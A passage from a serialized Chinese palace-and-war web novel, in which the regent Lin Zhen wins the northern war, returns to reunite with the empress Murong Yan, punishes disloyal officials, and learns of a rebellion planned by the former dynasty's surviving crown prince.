他们自以为天衣无缝的绝户之计,从一开始,就被林臻看得清清楚楚。 他们不是猎人,他们才是那个一步步走进陷阱的,愚蠢的猎物。 就在乌维心神大乱,整个漠北指挥中枢陷入崩溃的边缘时。 “轰!轰!轰!” 大乾军的营地方向,突然响起了震天的战鼓声! “怎么回事?!”乌维惊恐地望向帐外。 一名将领连滚带爬地冲了进来,脸上满是惶恐:“大汗!不好了!南……南军!南军全线出击了!” “什么?!” 乌维跑到帐外,登上瞭望台。 只见远方的地平线上,原本一直“畏缩不前”的大乾军队,此刻却如同出闸的猛虎,分作左中右三路,排山倒海般地向着他们的营地,发起了总攻! 军阵的最前方,郑蛟那杆“征北大元帅”的帅旗,迎风招展! 而骁骑营和虎贲卫那两面令人闻风丧胆的战旗,更是如同两把最锋利的尖刀,狠狠地插向他们大营的两翼! 那股一往无前、誓要将他们碾碎的气势,哪里还有半点之前的“疲惫”和“焦躁”? “中计了……我们中计了……”乌维喃喃自语,只觉得一阵天旋地转,手脚冰凉。 他现在才明白,郑蛟这十日来的“拙劣表演”,根本不是什么急于求胜,而是在麻痹他,在拖延时间! 拖延时间,等林臻在西线,解决掉他最精锐的王牌! “撤!快撤!全军向北撤退!”乌维发出了绝望的嘶吼。 然而,已经晚了。 大乾军队的攻势,来得太快,太猛烈了! 郑蛟,这位沙场老将,将这十日来积攒的所有憋屈和怒火,在这一刻,全部宣泄了出来! “弟兄们!为国尽忠的时候到了!亲王殿下已经在西线,为我们斩断了狼崽子们的爪牙!现在,轮到我们,敲碎他们的脑袋了!给我杀!一个不留!” “杀!杀!杀!” 五万大乾将士,爆发出震天的怒吼。他们如同下山的猛虎,冲入本就因为噩耗而军心大乱的漠北军阵之中,展开了一场酣畅淋漓的屠杀! 漠北军队,兵败如山倒。 他们扔掉兵器,调转马头,不顾一切地向北逃窜。 然而,他们的身后,骁骑营和虎贲卫的铁骑,如同两道黑色的闪电,死死地咬住他们,不断地收割着他们的生命。 整个战场,变成了一面倒的追逐与屠杀。 乌维看着自己苦心经营了数十年的大军,就这样土崩瓦解,心如刀割,一口鲜血猛地喷了出来。 “大汗!快走!留得青山在,不怕没柴烧啊!”几名最后的亲卫,死死地护卫着他,哭喊着劝道。 乌维不甘心! 他几十年的雄心霸业,难道就要这样,毁于一旦吗? 他不甘心! 就在他绝望之际,他突然看到,在追击的大乾军阵之中,有一面“摄政亲王”的龙旗,正以一个不可思议的速度,朝着他所在的方向,直插而来! 旗帜之下,一个身穿银甲、手持长剑的年轻将领,一马当先,所向披靡! 正是林臻! 他竟然已经从西线,赶回了东线战场! 看到那个如同魔神般的身影,乌维的眼中,瞬间被无尽的仇恨与疯狂所取代! “林臻!” 他嘶吼着,拨转马头,竟然不退反进,主动朝着林臻冲了过去! “本汗就算是死,也要拉着你这个黄口小儿,一起下地狱!” 第1097章 漠北之战结束,回京 漠北之战,以一种超乎所有人想象的方式,落下了帷幕。 大汗乌维,在最后的决战中,与亲率精锐、千里奔袭而来的摄政王林臻,于万军阵前遭遇。 两个决定了这场战争走向的男人,进行了一场短暂而惨烈的对决。 最终,乌维的头颅,被林臻亲手斩下。 随着乌维的战死,本就溃不成军的漠北联军,彻底失去了最后一丝抵抗的意志,四散奔逃。大乾军队,取得了最终的、也是最辉煌的胜利。 至于那个献上无数毒计的孔志谦,在看到乌维战死、大势已去之后,便带着他那支所谓的“复仇军”,如同丧家之犬般,消失在了茫茫的北方雪原深处,不知所踪。 班师回朝的那一日,整个长安城,万人空巷。 从城门到皇宫的十里长街,被欢呼的百姓挤得水泄不通。 鲜花、彩带,从街道两旁的酒楼和民居上,如同雨点般洒下。 “亲王殿下千岁!大乾万岁!” “欢迎英雄们回家!” 百姓们用最质朴、也最热烈的方式,迎接着他们心目中的战神,和得胜归来的将士。 林臻骑在一匹神骏的白马之上,身穿银色的凯旋将铠,身后是数十万军容鼎盛的大军。他接受着万民的欢呼,脸上却并没有太多的喜悦。 他的心,早已飞回了那座巍峨的宫城,飞到了那个让他魂牵梦萦的人儿身边。 他只想快一点,再快一点,见到她。 繁琐的凯旋仪式,仿佛过了一个世纪那么漫长。 当林臻终于得以脱身,他甚至没有换下身上的铠甲,便径直奔向了后宫,奔向了那座他日思夜想的栖凤阁。 他挥手屏退了所有想要通报的宫女和内侍,独自一人,推开了那扇熟悉的殿门。 殿内,夕阳的余晖正从敞开的雕凤琉璃窗中斜斜地照进来,将整个寝殿染上了一层温暖的金色。 空气中,弥漫着他熟悉的、淡淡的兰花香气。 然后,他看到了她。 她就站在窗边,背对着他,静静地望着窗外的晚霞。 夕阳为她窈窕的身影,镀上了一层柔和的金边,让她看起来,像是一尊易碎的、绝美的琉璃像。 听到开门声,她缓缓地转过身。 四目相对。 时间,在这一刻,仿佛静止了。 林臻看着她,她那张绝美的容颜,比他记忆中清减了许多,凤眸之下,带着一丝淡淡的、无法掩饰的疲惫。 但那双眼睛,在看到他的瞬间,却迸发出了前所未有的、璀璨的光芒。 那光芒里,有震惊,有狂喜,有委屈,有心疼,更有那满得快要溢出来的、化不开的思念与爱恋。 慕容嫣看着他,他比离开时黑了,也瘦了,英俊的脸庞上,添了几道浅浅的、却依旧触目惊心的疤痕。 那身冰冷的银甲上,还带着北疆的风霜与血腥的气息。但他那双看着她的眼睛,却依旧是那么的温柔,那么的专注,仿佛整个世界,都只剩下她一人。 她依旧只穿着那身神凤降世裙,没有了霞帔的衬托,更显出几分居家的慵懒与柔软。 极致玄黑的苏锦底料,在夕阳的映照下,呈现出一种天鹅绒般的质感。 织入其中的金色棉绒,以及那只用真金线绣成的擎天巨凤,则在温暖的光线下,流淌着一种内敛而温润的辉光。 苏锦的轻盈工艺与棉质的柔软,让这件巨大的裙袍,如同云朵般贴合着她的身体。 那长达五丈的苏锦拖尾,并未经任何整理,就那般自然地、迤逦地铺散在她身后的金砖地面上,从她伫立的窗边,一直蜿蜒至内殿的凤榻之畔,在夕阳下,形成一片充满了静态美感的、磅礴而华贵的凌乱。 她没有说话,他也忘了言语。 两人就这么静静地看着对方,仿佛要将这数月来的思念,都看进对方的眼底,刻进自己的心里。 终于,她动了。 她提着裙摆,向他跑了过来。 那迤逦于地的、凌乱的墨金色拖尾,随着她的跑动,在身后轰然飘起! 随着拖尾的飘起——赫然露出了里面那金线密织的“满地织金”内衬! 在夕阳温暖的金色光辉映照下,那片金光,不再是威严,不再是杀伐,也不再是思念,而是迸发出一种如同归鸟入林、旅人归家般、充满了无尽喜悦与安心的、无比温暖而璀璨的光芒! 那只凤凰,在瞬间迸发出一种终于等到爱人归来的、无比欢欣与雀跃的辉光! 那光芒,充满了重逢的喜悦,卸下重担的轻松,以及一种将所有风雨都关在门外的、家的温暖与安宁。 裙摆落下,将那片温暖的、喜悦的金光掩盖。 她已经扑进了他的怀里。 “夫君!” 她紧紧地抱着他,将脸埋在他冰冷的、还带着血腥味的铠甲上,压抑了数月的泪水,终于决堤。 “我回来了。” 林臻紧紧地、紧紧地回抱着她,仿佛要将她揉进自己的骨血里。 他低头,吻着她不断颤抖的、散发着兰花香气的长发,声音沙哑得不成样子。 “我回来了,嫣儿。” 他一遍又一遍地重复着这句话。 她抬起头,泪眼婆娑地看着他,伸出颤抖的手,轻轻地抚摸着他脸颊上那道新添的伤疤。 “疼吗?”她的声音里,满是哭腔和心疼。 林臻摇了摇头,握住她的手,放到唇边,轻轻地吻着。 “不疼。看到你,就什么都不疼了。” “你瘦了……”她哽咽着,“也黑了……” “你也瘦了。”他用拇指,轻轻地擦去她脸上的泪水,“是不是又没有好好吃饭?没有好好睡觉?” 她不说话,只是一个劲地摇头,眼泪却掉得更凶了。 他叹了口气,将她打横抱起,大步走向内殿的凤榻。 他将她轻轻地放在柔软的榻上,然后,就穿着那一身冰冷的铠甲,坐在她身边,将她紧紧地搂在怀里。 “对不起,嫣儿,让你担心了。” “你这个傻瓜……大傻瓜……”她捶打着他坚硬的胸膛,却使不出一丝力气,“你知不知道,我有多怕……多怕再也见不到你……” “不会的。”他握住她的手,放在自己心脏的位置,“我答应过你,要活着回来。我答应过你,要陪你一辈子。我怎么舍得,让你一个人。” 他低头,深深地吻住了她。 这个吻,不带任何情欲,只有无尽的思念、疼惜与失而复得的狂喜。 良久,唇分。 他抵着她的额头,看着她那双因为哭泣而红肿、却亮得惊人的凤眸,用一种无比郑重的、仿佛是在许下一生誓言的语气,一字一句地说道: “嫣儿,我再也不离开你了。” “嗯。”她在他怀里,重重地点了点头,唇边,终于漾开了一抹安心而幸福的笑意。 窗外,夕阳落尽,星子初升。 这属于帝后的,漫长而动荡的一天,终于,画上了一个最温柔的句号。 第1098章 大军凯旋,赏罚分明 北伐大胜,摄政王林臻凯旋。 这一消息,如同一场春风,吹散了笼罩在长安城上空数月之久的战争阴云。 然而,对于朝堂之上的某些人来说,这股春风,却比数九寒冬的朔风,还要让他们感到刺骨的冰冷。 凯旋后的第三日,一场规模空前的大朝会,在太极殿举行。 这一次,高高的御阶之上,不再只有女帝慕容嫣一人的凤椅。 在凤椅的旁边,破天荒地,增设了一张与之一模一样、只是将凤凰图腾换成了麒麟的亲王宝座。 帝后二人,并肩而坐,共同接受着百官的朝拜。 慕容嫣依旧是一身神凤降世裙,外面罩着最隆重的黑金色霞帔。 裙幅浩荡的墨金色苏锦拖尾,从她的凤椅之后,与林臻身下同样材质、同样长度的墨麒麟亲王袍服的拖尾,交织在一起,迤逦而下,铺满了整个巨大的丹陛,形成一片充满了无上威严与绝对权力的、黑金交织的壮丽图景。 林臻则穿着与她配套的、同样由苏锦工艺织就的墨麒麟亲王袍,袍服上用金线绣着脚踏祥云、仰天咆哮的麒麟,威武不凡。 两人并肩坐在那里,一个凤仪天成,一个龙章凤姿,竟是说不出的般配与和谐,仿佛他们天生,就该坐在这个帝国的最高处。 “宣,罪臣,上殿!” 随着司礼监太监尖细的唱喏,一众在战争期间,或攻讦亲王、或散布谣言、或与崔家暗通款曲的官员,被如狼似虎的锦衣卫,一个个押上了大殿。 这些人,曾经也是朝堂之上,道貌岸然、位高权重的大人物。 可此刻,却一个个被去了官帽,脱了官服,如同丧家之犬般,跪在冰冷的金砖地面上,浑身抖如筛糠。 为首的,正是那日在朝堂之上,第一个跳出来弹劾林臻的御史大夫。 “陛下饶命!亲王殿下饶命啊!臣……臣只是一时糊涂,受了奸人蒙蔽啊!” 他一被押上来,便拼命地磕头求饶,哭得涕泪横流。 林臻没有说话,只是面无表情地看着他。 慕容嫣则端起手边的茶,轻轻地吹了吹,仿佛根本没有听到他的哭喊。 直到殿内的哭嚎求饶声渐渐小了下去,慕容嫣才放下茶杯,淡淡地开口。 “王御史,朕记得,前几日,你可是很有风骨的。当着满朝文武的面,泣血弹劾亲王,言之凿凿,痛心疾首。怎么今日,就变成了这副模样?” 她的声音不高,却如同重锤,狠狠地砸在王御史的心上。 “臣……臣罪该万死!臣有眼不识泰山!亲王殿下乃是国之战神,盖世英雄,臣……臣是猪油蒙了心,才会说出那等混账话来!求陛下看在臣为大乾也曾出过几分力的份上,饶了臣这一次吧!” “饶了你?”慕容嫣冷笑一声,“当你在后方,为了党同伐异,为了你那点可笑的私心,肆意攻讦前方浴血奋战的主帅时,你可曾想过,要饶过那些因为军心动荡,而可能白白牺牲的将士?” “当亲王殿下,以三百之众,身陷绝地,为国死战之时,你却在这里,企图断他的后路,毁他的声名!你告诉朕,朕,凭什么要饶了你?!” 慕容嫣的声音,一句比一句严厉,一句比一句冰冷! 王御史被驳斥得哑口无口,瘫软在地,面如死灰。 慕容嫣不再看他,目光缓缓扫过跪在地上的所有罪臣。 “今日,当着文武百官,当着天下人的面,朕与亲王,就要将这朝堂之上,所有的魑魅魍魉,清算干净!” 她转头,看向林臻,眼中带着询问。 林臻对她微微点头,然后开口,声音沉稳如山。 “王御史,身为言官,不思体察民情,匡扶社稷,反而结党营私,构陷忠良,动摇国本。罪大恶极,无可赦免。传旨,削其官职,夺其功名,流放三千里,永不叙用!” 这个判决,看似比直接砍头要轻,但对于王御史这种自诩清流、将名声看得比命还重的读书人来说,却是最残酷的惩罚。 “不!不要!”王御史发出了绝望的哀嚎,直接晕死过去。 林臻没有停下,他的目光,落在了下一个罪臣身上。 “吏部员外郎李斯,战时散布谣言,称‘燕然已失,北伐将败’,蛊惑人心。其心可诛。着,斩立决!” “兵部主事赵谦,私扣军械,倒卖牟利,致使前线军备短缺。着,满门抄斩!” “……” 林臻的声音,在大殿内平静地回响着。 他每念出一个名字,每宣布一条罪状,都让下方的百官,心惊肉跳一分。 他们这才真正意识到,这位平日里温文尔雅的摄政王,一旦动起真格来,其手段之狠辣,之决绝,丝毫不下于女帝! 当最后一个罪臣被判决之后,整个太极殿,安静得落针可闻。 所有站着的官员,都觉得自己的脖颈后,凉飕飕的。 那些曾经与崔家,与这些罪臣有过牵扯的人,更是吓得双腿发软,几乎站立不稳。 他们知道,从今日起,这个朝堂,将再也没有任何人,敢于挑战这对帝后夫妻的权威。 清算完罪臣,慕容嫣的声音,再次响起。 这一次,她的声音,带上了春风般的暖意。 “国有奸佞,亦有忠良。此次北伐,得以大胜,除了前线将士用命,亦有赖于后方诸卿的鼎力支持。” 她的目光,落在了杜如晦和周兴等几位重臣身上。 “首相杜如晦,坐镇中枢,调度有方,功不可没。加封太傅,赏黄金万两,锦缎千匹!” “户部尚书周兴,保障粮草,殚精竭虑,加封太子少保,赏……” 一道道封赏的旨意,从她口中颁布。 赏罚分明。 萝卜与大棒,被这对夫妻,运用到了极致。 所有人都明白,一个属于旧世家的时代,已经彻底过去。 一个以绝对皇权为核心的、崭新的时代,已经来临。 朝会散后。 栖凤阁内,又恢复了往日的宁静。 林臻已经换下了那身沉重的亲王袍服,只穿着一身玄色的软缎常服。 他正坐在榻边,手里拿着一把温润的玉梳,有些笨拙地,为慕容嫣梳理着她那头如同瀑布般的乌黑长发。 慕容嫣也换下了霞帔,只穿着那身贴身的、柔软舒适的神凤降世裙。 她慵懒地靠在林臻的怀里,闭着眼睛,享受着这难得的、宁静的温存。 那长长的、墨金色的苏锦拖尾,从她的身上,铺满了整个凤榻,又从凤榻上,流淌到地面上,将两人温柔地包裹在其中,像一片宁静而华贵的、黑金色的云。 “夫君,你说,孔志谦会逃到哪里去?”她突然开口,声音有些闷闷的。 “天大地大,总有他容身之处。”林臻为她梳通最后一个发结,柔声道,“不过你放心,我已经派‘夜枭’最顶尖的高手,去追查他的下落了。这个祸害,我不会让他再有机会,来伤害你,伤害大乾。” “嗯。”她在他怀里蹭了蹭,找了个更舒服的姿势,“有夫君在,我什么都不怕。” 他笑了笑,放下玉梳,将她紧紧地搂在怀里。 “对了,嫣儿,”他突然想起了什么,“你那只波斯猫呢?信里不是说,它抓坏了你这裙子的拖尾吗?我倒要看看,是何方神圣,连我夫人的神凤降世裙都敢动。” 他的语气里,带着一丝玩笑的意味。 慕容嫣“噗嗤”一声笑了出来,睁开眼,嗔怪地白了他一眼。 “早就被我关到偏殿去了。怎么?你还想替我出气,找它算账不成?” “那当然。”林臻一本正经地说道,“凡是让我家嫣儿不开心的,无论是人是猫,都得好好教训一顿。” 看着他那认真的模样,慕容嫣笑得更开心了。 她主动凑上去,在他唇上,轻轻地印上一个吻。 “夫君,有你真好。” 第1099章 你……还没脱铠甲呢…… 两人就这么静静地相拥着,谁也没有再说话。 栖凤阁内,安静得只剩下彼此的呼吸声和心跳声。 夕阳的最后一缕余晖从窗外收走,夜色缓缓降临,宫人悄无声息地走进来,点亮了殿内一盏盏的宫灯,柔和的烛光将整个寝殿笼罩在一片温暖的昏黄之中。 许久,慕容嫣才在他怀里动了动,声音带着浓浓的鼻音,闷闷地问:“夫君,你身上的伤真的不要紧吗?我让御医来看看吧。” “傻丫头,真的没事。”林臻低头,亲了亲她的额头,柔声安慰道,“都是些皮外伤,在回来的路上,军医早就处理过了,已经开始结痂了。不信你看。” 说着,他便要解开自己胸前的铠甲。 “别!”慕容嫣连忙按住他的手,眼圈又红了,“我信,我信你还不行吗……我只是……只是心疼。” 她将脸重新埋进他的怀里,声音小得像蚊子哼哼:“你不知道,当‘一线天’的捷报传来,我有多高兴,就有多后怕。三百人……对一万五千人……你怎么敢啊……” 林臻闻言,心中一软,抱着她的手臂又紧了几分。 他知道,她看不见的地方,那场战斗有多惨烈。 三百“夜枭”,最后能站着的,不足百人。 他自己也数不清身上究竟添了多少道伤口,最重的一刀,几乎劈开了他的左肩,若不是他躲得快,恐怕整条胳膊都没了。 这些,他都不能告诉她。 他只能用最轻松的语气说道:“兵行险着罢了。当时的情形,由不得我多想。再说,你夫君我吉人天相,阎王爷不敢收我。我还没陪够你呢,怎么舍得死。” “呸呸呸!”慕容嫣听他提到“死”字,立刻紧张地捂住他的嘴,“不许胡说!不许说这个字!” 她那带着兰花香气的柔软手掌,就这么贴在他的唇上,林臻心中一荡,忍不住伸出舌头,轻轻舔了一下她的掌心。 慕容嫣如同触电般,猛地缩回手,一张俏脸瞬间红得像晚霞。 “你……你刚回来就不正经!”她又羞又气,轻轻捶了他一下。 林臻哈哈一笑,抓住她的小拳头,放在唇边吻了又吻:“在外面装了几个月的正经人,可把我憋坏了。现在回来了,当然得对我家嫣儿不正经一点。” 看着他眼中那熟悉的、带着宠溺的笑意,慕容嫣心中的那点羞恼也烟消云散了,只剩下满满的甜蜜。 她靠在他怀里,听着他沉稳有力的心跳,几个月来一直紧绷的神经,终于彻底地放松了下来。 “夫君,这次北伐大胜,漠北诸部,短时间内应该不敢再南下了吧?”她轻声问道,声音里带着一丝不确定。 虽然取得了前所未有的胜利,但作为大乾的皇帝,她不得不考虑得更长远。 “嗯。”林臻点了点头,神色也变得严肃起来, “乌维一死,阿提拉和呼衍卓这两个最有分量的王爷也都没了,漠北王庭直属的精锐,在鹰嘴崖和‘一线天’两战,折损了近七成。剩下的那些部落首领,一个个都是墙头草,不成气候。我已命郑帅率大军在燕然都护府驻扎,并派使者安抚漠北其余各部,许以互市之利。只要我们大乾自己不乱,北疆至少可保三十年太平。” 听到“三十年太平”这几个字,慕容嫣长长地舒了一口气。 为了这几个字,大乾付出了太多,她的夫君更是差点连命都搭进去。 但一切,都是值得的。 “只是……”林臻话锋一转,眼中闪过一丝冷意,“孔志谦那个祸害,终究是跑了。此人虽然没什么领兵打仗的本事,但一肚子坏水,又顶着个‘圣裔’的名头,最擅长蛊惑人心。他在战争后期散布的那些谣言,还有投毒制造瘟疫的手段,实在太过阴毒,不得不防。” 提到孔志谦,慕容嫣的脸色也冷了下来:“是啊,我接到密报,就在你回来的前几天,江南又有几个州县,发现了类似的疫病,虽然规模不大,但当地人心惶惶。杜相他们已经按照我们之前商议的法子去处理了,只是,这种事情防不胜防,总让人心里不踏实。” 她从林臻怀里坐直了身子,凤眸中满是忧虑:“夫君,你说,他会不会……像条毒蛇一样,一直躲在暗处,时不时地就跳出来咬我们一口?” “他会的。”林臻毫不犹豫地说道,“此人对我们,尤其是对你,已经恨之入骨。他活着一天,就不会让我们安宁。” 他看着慕容嫣眼中那抹化不开的忧色,伸手将她重新揽入怀中,柔声安慰道: “不过,你也不必太过担心。一条只敢躲在阴沟里的蛇,再毒,也翻不了天。我已经让‘夜枭’布下天罗地网,全力追查他的踪迹。只要他敢露头,我保证,他绝没有第二次逃跑的机会。” “嗯。”慕容嫣点了点头,将头靠在他的肩膀上,“有你在,我就放心了。” 两人又温存了一会儿,林臻似乎想起了什么,突然问道:“对了,嫣儿,朝堂上的事情,都处理干净了?” 他指的是那些在战争期间上蹿下跳的官员。 “嗯,都处理了。”慕容嫣的声音有些疲惫,“主犯都已经按你定下的罪名处置了。剩下的那些,也大多革职查办,敲打了一番。经此一事,朝中那些世家大族,应该能安分很长一段时间了。” “那就好。”林臻点了点头,“国事繁重,你这段时间也累坏了。从明天起,把奏章都交给杜相他们去处理,你什么都不要管,好好休息几天,把身体养回来。天大的事情,也等养好了身子再说。” “哪有那么容易……”慕容嫣嘟囔了一句,“我是皇帝,哪能真的什么都不管……” 话虽如此,但她心里却是甜丝丝的。 这世上,也只有他,敢用这种霸道的语气,命令她这个女皇帝去“休息”。 “我说可以就可以。”林臻捏了捏她的脸颊,语气不容置疑,“从明天起,我陪着你。我们哪儿也不去,就在这栖凤阁里,你睡觉,我看着你。你想吃什么,我让御膳房给你做。你想听故事,我给你讲北疆的见闻。总之,在把你养胖一圈之前,不许你再碰那些劳什子的奏章。” “你……”慕容嫣被他这副霸道又无赖的样子逗笑了,心中的最后一丝阴霾也彻底散去。 她抬头,看着他近在咫尺的、写满关切的英俊脸庞,心中一动,主动吻了上去。 林臻先是一愣,随即反客为主,加深了这个吻。 许久,直到慕容嫣快要喘不过气来,他才恋恋不舍地放开她。 她趴在他怀里,脸颊绯红,凤眸中水光潋滟,轻声喘息着。 “夫君……”她的声音,软得能滴出水来。 “嗯?” “你……还没脱铠甲呢……” 林臻闻言,低头看了一眼自己身上冰冷坚硬的铠甲,又看了看怀中软玉温香的人儿,不由得失笑。 “是为夫疏忽了。” 他站起身,三下五除二地解开身上那套繁琐的将铠。 当沉重的铠甲被一件件扔在地上,发出“哐当”的声响时,他终于彻底卸下了战神的身份,变回了那个只属于她的,林臻。 他重新将她抱进怀里,这一次,再也没有了冰冷的隔阂。 “嫣儿,我们……歇息吧。”他的声音,因为情动而变得有些沙哑。 “嗯……”慕容嫣羞涩地点了点头,将脸埋进了他的胸膛。 一夜无话,满室旖旎。 这几个月来,所有的思念、担忧、恐惧,都在这一刻,化作了最原始的、最炽热的爱恋,将两人紧紧地包裹。 第1100章 从哪来的前朝太子? 第二天,林臻果然说到做到。 他真的将所有前来求见的大臣都挡在了栖凤阁外,理由只有一个:陛下龙体抱恙,需要静养,一切政务,交由内阁处理。 而他自己,则寸步不离地守着慕容嫣。 慕容嫣这一觉,睡得格外安稳。等她醒来时,已经是日上三竿了。 她睁开眼,第一眼看到的,就是林臻那张放大的俊脸。他侧躺在她身边,单手支着头,正一瞬不瞬地看着她,眼中满是温柔的笑意。 “醒了?睡得好吗?” “嗯……”慕容嫣慵懒地伸了个懒腰,感觉几个月来的疲惫,都一扫而空。 就在这时,一名小宫女端着一碗热气腾腾的莲子羹,悄步走了进来。 “陛下,亲王殿下,莲子羹熬好了。” 林臻接过莲子羹,挥手让宫女退下,然后一勺一勺地,亲自喂到慕容嫣嘴边。 “尝尝,看是不是你喜欢的味道。我特意嘱咐御膳房,多放了些冰糖。” 慕容嫣张开嘴,尝了一口。 甜糯的莲子,入口即化,暖意从胃里,一直流淌到心底。 “好吃。”她满足地眯起了眼睛,像一只被喂饱了的猫。 就在这温情脉脉的时刻,殿外,突然传来内侍压低了声音,却依旧带着一丝急切的通报声。 “启禀陛下,王爷!首相杜大人,有十万火急的要事求见!” “十万火急?” 林臻的眉头微微皱了一下,眼中闪过一丝不悦。 他昨天才下了死命令,让所有人都不要来打扰。 这杜如晦是内阁首辅,最是知晓轻重,若非天大的事情,绝不会在这个时候,用“十万火急”这样的字眼。 难道是江南的疫病,又出了什么变故? 慕容嫣也坐直了身体,脸上的慵懒瞬间褪去,取而代之的,是属于帝王的威严。 “让他进来。”她沉声说道。 林臻有些心疼地看了她一眼,知道这难得的清闲,又要被打断了。 他将手中的莲子羹放到一边。 很快,须发皆白的杜如晦,便在内侍的引领下,脚步匆匆地走了进来。 他一进殿,看到安然无恙的慕容嫣和林臻,似乎先是松了一口气,但随即,脸上又露出了无比凝重和焦急的神色。 “老臣叩见陛下,叩见亲王殿下!”他一上来,就行了一个跪拜大礼。 “杜相快快请起。”林臻亲自上前,将他扶了起来,“出了什么事?让你如此惊慌?” “陛下,王爷……”杜如晦站起身,从宽大的袖袍中,取出了一份用蜡丸密封的密报,双手呈上,声音都在微微发颤,“这是‘夜枭’刚刚从江南传回来的,十万火急的密报!请陛下和王爷御览!” 慕容嫣心中一沉。 她认得这种蜡丸,这是“夜枭”最高等级的密报,只有在发现足以动摇国本的惊天大事时,才会启用。 她接过蜡丸,捏碎封蜡,从中抽出一卷薄如蝉翼的绢帛。 林臻也凑了过来,与她一同观看。 只看了一眼,两人的脸色,便同时剧变! 密报上的内容,不多,但每一个字,都如同惊雷,在他们心中炸响! “孔志谦现身江南。然,其非一人。随行者,有前朝太子,李显!” 前朝太子! 李显! 这个已经被世人遗忘了近二十年的名字,再一次出现,带来的冲击力,甚至比之前孔志谦散布瘟疫,还要巨大! 大乾立国,本就是从前朝李氏手中夺来的江山。 虽然当年太祖皇帝以雷霆手段,将李氏皇族几乎屠戮殆尽,但终究是百密一疏,让当时年仅五岁的太子李显,在一些忠心旧臣的拼死掩护下,逃出了生天。 二十年来,朝廷从未放弃过对他的追捕,但此人就如同人间蒸发了一般,再无半点音讯。 所有人都以为,他要么是已经死在了逃亡的路上,要么就是隐姓埋名,成了个普通的乡野村夫。 却没想到,他竟然一直活着! 而且,还在这个最要命的节骨眼上,和孔志谦这个心怀叵测的毒士,搅和到了一起! “这……这怎么可能?!”慕容嫣的声音,带着一丝难以置信的颤抖。 她感觉到一股寒意,从脚底直冲天灵盖。 孔志谦,打着“清君侧”的旗号,最多只能蛊惑一些不明真相的读书人和愚民。因为他本身,名不正,言不顺。 可李显不一样! 他是前朝太子,是李氏江山法理上唯一的继承人! 他若是站出来,打着“复国”的旗号,那性质就完全变了! 那些对大乾本就心怀不满的前朝旧臣、地方豪强,甚至是一些被清算过的世家大族的残余势力,很可能会在他这面旗帜下,重新聚集起来! 一个孔志谦,已经搅得江南人心浮动。 再加上一个李显…… 这无异于是在一堆干柴之上,又狠狠地浇上了一桶火油! “消息属实吗?”林臻的声音,也变得无比凝重。 他比慕容嫣更清楚,一个“前朝太子”的名号,在某些时候,拥有多么可怕的号召力。 “回王爷,”杜如晦躬身答道,脸色苍白,“‘夜枭’在江南的指挥使,以性命担保,消息千真万确。他亲眼所见,孔志谦与那李显,一同出现在苏州的一处秘密集会上。参加集会的,还有江南几个早已没落,但颇有声望的前朝世家家主。” “他们想做什么?!”慕容嫣猛地一拍床沿,凤眸中杀机毕露,“他们想造反吗?!” “恐怕……不止是造反那么简单。”杜如晦的嘴唇哆嗦了一下,继续说道,“根据密报,孔志谦为李显,献上了一条毒计。他们……他们准备在下月初八,趁着您和王爷大婚庆典,天下瞩目之时,在江南,同时举事!” “大婚庆典?”林臻和慕容嫣对视一眼,都从对方眼中看到了震惊。 北伐大胜,林臻凯旋,为了进一步巩固帝后二人的威望,也为了兑现当初的承诺,朝廷早已定下,在下月初八,为两人补办一场盛大无比的皇家婚礼。 这个消息,早已传遍天下。 届时,整个大乾的注意力,都会集中在长安,集中在这场庆典之上。 而孔志谦和李显,竟然选择在这个时候,在江南发难! 他们的用心,何其歹毒! 这已经不是简单的造反了,这分明是要当着全天下人的面,狠狠地打大乾的脸,打慕容嫣和林臻的脸! 他们要用江南的烽火,来“庆贺”这场婚礼! “好……好一个孔志谦!好一个李显!”慕容嫣气得浑身发抖,指节因为用力而捏得发白,“他们这是要让朕和王爷,让整个大乾,都沦为天下的笑柄!” “陛下息怒,王爷息怒!”杜如晦连忙跪下,“当务之急,不是动怒,而是要尽快想出应对之策啊!离下月初八,只剩下不到二十天了!若不能在此之前,将这股叛乱的苗头彻底掐灭,一旦让他们真的举事成功,与京城遥相呼应,届时,天下必将大乱!” 栖凤阁内,陷入了死一般的寂静。 林臻没有说话,他走到窗边,看着外面明媚的阳光,眼神却变得幽深似海。 他知道,杜如晦说得没错。 这件事,远比之前对付漠北,要棘手得多。 对付漠北,是外患,是军事问题,可以用雷霆手段,快刀斩乱麻。 可对付李显和孔志谦,是内忧,是政治问题。 尤其是在鱼米之乡、人心复杂的江南。 若是派大军前去镇压,动静太大,反而会坐实了“大乾统治不稳”的传言,正中对方下怀。而且,战端一开,江南必将生灵涂炭,赋税重地毁于一旦,这是朝廷无论如何也无法承受的。 可若是不派大军,仅凭江南本地的卫所兵,恐怕根本不是那些蓄谋已久的叛军的对手。 进,是错。 退,也是错。 这是一个彻头彻尾的死局! 孔志谦,这个躲在暗处的毒士,终于亮出了他最致命的獠牙。 第1101章 朕,要亲自去一趟江南 慕容嫣也渐渐冷静了下来。 她看着林臻那挺拔的、让她无比安心的背影,心中的慌乱,也渐渐平复。 她走到他身边,轻轻地握住了他冰冷的手。 “夫君,你一定……有办法的,对不对?”她的声音,带着一丝依赖。 林臻回头,看着她那双写满信任的凤眸,心中一暖。 他反手握住她的小手,用力地捏了捏,给了她一个安心的眼神。 “放心,有我呢。” 他转过头,看向还跪在地上的杜如晦,沉声说道:“杜相,你先起来。” “谢王爷。” “这件事,除了你我三人,还有谁知道?”林臻问道。 “回王爷,此事关系重大,老臣不敢声张,密报一到,便立刻前来求见。除了送回密报的夜枭,再无第四人知晓。” “好。”林臻点了点头,“此事,必须严格保密!绝不能走漏半点风声!否则,不等江南乱,长安就要先乱了。” 他顿了顿,目光再次投向窗外,眼中闪过一丝旁人难以察白的、锐利的光芒。 “他们想在我们的婚礼上,送一份大礼。那我们……若是不好好回一份礼,岂不是显得太小气了?” 听到这话,慕容嫣和杜如晦都是一愣。 都什么时候了,王爷怎么还有心情开玩笑? 然而,当他们看到林臻嘴角那一抹熟悉的、冰冷的弧度时,他们知道,这位大乾的战神,又一次,在所有人都觉得是绝境的时候,找到了破局的办法! “王爷……您的意思是?”杜如晦试探着问道。 林臻缓缓转过身,目光在慕容嫣和杜如晦脸上扫过,一字一句地说道:“婚礼,照常举行。而且,要办得比原计划,更盛大,更奢华!” “什么?!”杜如晦大惊失色,“王爷!万万不可啊!如今江南暗流涌动,叛乱一触即发,我等应立刻调集兵力,防范于未然。怎能反其道而行,将所有精力都放在一场婚礼上?这不是……这不是将整个国家的安危,当成儿戏吗?!” “谁说,婚礼,就不能是战场呢?” 林臻的眼中,闪烁着一种猎人般的、兴奋而危险的光芒。 